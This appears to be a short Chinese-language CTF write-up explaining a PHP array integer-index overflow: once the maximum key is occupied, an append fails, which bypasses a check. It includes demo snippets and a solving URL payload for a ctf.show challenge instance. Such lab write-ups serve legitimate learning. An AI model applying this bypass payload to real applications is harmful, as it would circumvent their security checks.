这题考察的是php数组下标整型溢出绕过,原理如下
<?php
$arr[] = 1;
$arr[] = 2;
$arr[] = 3;
var_dump($arr);
/*
输出:
array(3) {
[0] =>
int(1)
[1] =>
int(2)
[2] =>
int(3)
}
由此知,在php中,调用$arr[] = ? 是在进行追加赋值
*/
<?php
$arr[2147483647] = 1;
$arr[]=1;
var_dump($arr);
/*
Warning: Cannot add element to the array as the next element is already occupied in F:\JetBrains\PHP\nodejs\index.php on line 3
Call Stack:
0.0002 122336 1. {main}() F:\JetBrains\PHP\nodejs\index.php:0
F:\JetBrains\PHP\nodejs\index.php:4:
array(1) {
[2147483647] =>
int(1)
}
这里我们能发现,当我们给下表的最后一位(2147483647)赋值过后,再进行赋值,会发生溢出而导致无法成功赋值
*/
这题就是利用这个原理,让 $arr[] = 1 无法成功赋值,而绕过 if ,但是有个小tip,在32位环境中,数组最大下表为 2147483647
在64位环境下,最大下表为 9223372036854775807
这题中应该当作64位环境处理
payload
http://259af961-9c3f-4876-99f0-01bd63df42fe.challenge.ctf.show/?0=9223372036854775807